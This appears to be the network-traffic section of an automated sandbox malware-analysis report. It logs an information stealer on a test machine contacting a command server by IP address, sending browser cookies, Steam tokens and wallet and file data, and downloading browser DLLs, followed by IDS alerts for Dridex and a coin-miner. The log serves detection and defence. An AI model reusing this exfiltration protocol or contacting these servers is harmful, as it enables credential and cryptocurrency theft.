Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIDAAFBGDBKJJJKFIIIJHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 37 61 30 37 65 61 37 30 36 35 37 36 65 64 61 36 34 34 31 34 34 38 61 38 61 62 38 31 33 31 31 65 65 62 32 66 65 65 34 65 32 30 65 39 35 65 61 35 36 65 31 66 37 65 66 31 37 64 33 32 64 35 33 38 39 37 63 34 63 64 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 2d 2d 0d 0a Data Ascii: ------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="token"ab7a07ea706576eda6441448a8ab81311eeb2fee4e20e95ea56e1f7ef17d32d53897c4cd------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="message"plugins------IIDAAFBGDBKJJJKFIIIJ--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDHCFBAKFBGDGDHJKJJHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 44 48 43 46 42 41 4b 46 42 47 44 47 44 48 4a 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 37 61 30 37 65 61 37 30 36 35 37 36 65 64 61 36 34 34 31 34 34 38 61 38 61 62 38 31 33 31 31 65 65 62 32 66 65 65 34 65 32 30 65 39 35 65 61 35 36 65 31 66 37 65 66 31 37 64 33 32 64 35 33 38 39 37 63 34 63 64 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 48 43 46 42 41 4b 46 42 47 44 47 44 48 4a 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 48 43 46 42 41 4b 46 42 47 44 47 44 48 4a 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------FIDHCFBAKFBGDGDHJKJJContent-Disposition: form-data; name="token"ab7a07ea706576eda6441448a8ab81311eeb2fee4e20e95ea56e1f7ef17d32d53897c4cd------FIDHCFBAKFBGDGDHJKJJContent-Disposition: form-data; name="message"fplugins------FIDHCFBAKFBGDGDHJKJJ--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFCBFBGDBKJKECAAKKFHost: 46.8.231.109Content-Length: 6071Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHIEBKKFHIEGCAKECGHHost: 46.8.231.109Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 37 61 30 37 65 61 37 30 36 35 37 36 65 64 61 36 34 34 31 34 34 38 61 38 61 62 38 31 33 31 31 65 65 62 32 66 65 65 34 65 32 30 65 39 35 65 61 35 36 65 31 66 37 65 66 31 37 64 33 32 64 35 33 38 39 37 63 34 63 64 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4e 7a 59 31 4e 44 45 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 55 74 4d 44 63 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 31 4e 7a 51 77 43 55 35 4a 52 41 6b 31 4d 54 45 39 62 6b 35 68 5a 48 46 58 4f 58 56 55 59 31 6b 77 54 31 41 32 53 54 4e 68 5a 6d 35 79 4e 7a 46 76 4e 6b 56 36 59 56 6c 4d 63 32 52 77 56 7a 52 56 52 56 6c 4f 4d 33 5a 5a 63 56 39 79 59 6c 4a 79 54 6b 5a 34 54 54 46 71 62 33 70 51 52 33 56 6f 61 6b 39 53 51 6c 70 4c 53 30 31 36 4d 6e 52 6b 52 48 42 57 5a 54 64 6b 54 6e 56 55 56 33 41 30 51 33 6c 4c 4c 58 70 30 4e 55 6c 7a 4e 6e 64 57 52 57 78 32 5a 56 64 42 5a 6b 74 52 5a 33 64 4f 53 6d 6c 4c 53 33 52 59 53 45 4e 44 51 32 31 79 62 47 64 36 57 6c 52 73 4e 55 4e 70 53 32 70 55 5a 55 45 79 61 56 46 78 5a 6a 5a 36 62 46 4a 4c 4d 6d 67 34 64 32 63 78 61 46 5a 77 53 58 4e 58 63 32 46 4c 63 57 46 58 53 6e 6c 49 54 56 42 47 4d 30 70 42 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 2d 2d 0d 0a Data Ascii: ------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="token"ab7a07ea706576eda6441448a8ab81311eeb2fee4e20e95ea56e1f7ef17d32d53897c4cd------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzY1NDEJMVBfSkFSCTIwMjMtMTAtMDUtMDcKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk1NzQwCU5JRAk1MTE9bk5hZHFXOXVUY1kwT1A2STNhZm5yNzFvNkV6YVl
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJEBAECGCBKECAAAEBFHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 37 61 30 37 65 61 37 30 36 35 37 36 65 64 61 36 34 34 31 34 34 38 61 38 61 62 38 31 33 31 31 65 65 62 32 66 65 65 34 65 32 30 65 39 35 65 61 35 36 65 31 66 37 65 66 31 37 64 33 32 64 35 33 38 39 37 63 34 63 64 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 2d 2d 0d 0a Data Ascii: ------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="token"ab7a07ea706576eda6441448a8ab81311eeb2fee4e20e95ea56e1f7ef17d32d53897c4cd------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="file"------IIJEBAECGCBKECAAAEBF--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECAAEHCFIEBGCBGHIEHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 37 61 30 37 65 61 37 30 36 35 37 36 65 64 61 36 34 34 31 34 34 38 61 38 61 62 38 31 33 31 31 65 65 62 32 66 65 65 34 65 32 30 65 39 35 65 61 35 36 65 31 66 37 65 66 31 37 64 33 32 64 35 33 38 39 37 63 34 63 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 2d 2d 0d 0a Data Ascii: ------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="token"ab7a07ea706576eda6441448a8ab81311eeb2fee4e20e95ea56e1f7ef17d32d53897c4cd------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="file"------JJECAAEHCFIEBGCBGHIE--
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJJECFIECBGDGCAAAEHHost: 46.8.231.109Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHIIEHJKKECGCBFIIJDHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 37 61 30 37 65 61 37 30 36 35 37 36 65 64 61 36 34 34 31 34 34 38 61 38 61 62 38 31 33 31 31 65 65 62 32 66 65 65 34 65 32 30 65 39 35 65 61 35 36 65 31 66 37 65 66 31 37 64 33 32 64 35 33 38 39 37 63 34 63 64 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 2d 2d 0d 0a Data Ascii: ------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="token"ab7a07ea706576eda6441448a8ab81311eeb2fee4e20e95ea56e1f7ef17d32d53897c4cd------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="message"wallets------CFHIIEHJKKECGCBFIIJD--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDGCBGDBKJKFHIECBAHost: 46.8.231.109Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 37 61 30 37 65 61 37 30 36 35 37 36 65 64 61 36 34 34 31 34 34 38 61 38 61 62 38 31 33 31 31 65 65 62 32 66 65 65 34 65 32 30 65 39 35 65 61 35 36 65 31 66 37 65 66 31 37 64 33 32 64 35 33 38 39 37 63 34 63 64 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 2d 2d 0d 0a Data Ascii: ------EHJDGCBGDBKJKFHIECBAContent-Disposition: form-data; name="token"ab7a07ea706576eda6441448a8ab81311eeb2fee4e20e95ea56e1f7ef17d32d53897c4cd------EHJDGCBGDBKJKFHIECBAContent-Disposition: form-data; name="message"files------EHJDGCBGDBKJKFHIECBA--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIEGDBKJKEBGCBAFCFHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 37 61 30 37 65 61 37 30 36 35 37 36 65 64 61 36 34 34 31 34 34 38 61 38 61 62 38 31 33 31 31 65 65 62 32 66 65 65 34 65 32 30 65 39 35 65 61 35 36 65 31 66 37 65 66 31 37 64 33 32 64 35 33 38 39 37 63 34 63 64 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 2d 2d 0d 0a Data Ascii: ------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="token"ab7a07ea706576eda6441448a8ab81311eeb2fee4e20e95ea56e1f7ef17d32d53897c4cd------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="file"------HIIIEGDBKJKEBGCBAFCF--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIJEHCBAKFCAKFHCGDGHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 37 61 30 37 65 61 37 30 36 35 37 36 65 64 61 36 34 34 31 34 34 38 61 38 61 62 38 31 33 31 31 65 65 62 32 66 65 65 34 65 32 30 65 39 35 65 61 35 36 65 31 66 37 65 66 31 37 64 33 32 64 35 33 38 39 37 63 34 63 64 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 2d 2d 0d 0a Data Ascii: ------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="token"ab7a07ea706576eda6441448a8ab81311eeb2fee4e20e95ea56e1f7ef17d32d53897c4cd------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="message"ybncbhylepme------BFIJEHCBAKFCAKFHCGDG--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDAKJKFCFBGCBGDHCBHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 37 61 30 37 65 61 37 30 36 35 37 36 65 64 61 36 34 34 31 34 34 38 61 38 61 62 38 31 33 31 31 65 65 62 32 66 65 65 34 65 32 30 65 39 35 65 61 35 36 65 31 66 37 65 66 31 37 64 33 32 64 35 33 38 39 37 63 34 63 64 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 2d 2d 0d 0a Data Ascii: ------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="token"ab7a07ea706576eda6441448a8ab81311eeb2fee4e20e95ea56e1f7ef17d32d53897c4cd------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AFHDAKJKFCFBGCBGDHCB--

Source: unknown	DNS query: name: api64.ipify.org
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: iplogger.org

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49703 -> 176.113.115.33:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49706 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49704 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49705 -> 103.130.147.211:80
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49737 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49735 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49741 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49739 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49731 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49740 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49748 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49753 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49756 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49760 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49763 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2036289 - Severity 2 - ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro) : 192.168.2.7:60614 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49767 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49772 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49786 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49781 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49783 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49789 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49797 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49795 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49802 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49810 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49805 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49820 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49800 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49829 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49824 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49799 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49846 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49793 -> 91.107.146.245:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.7:49844 -> 91.107.146.245:443
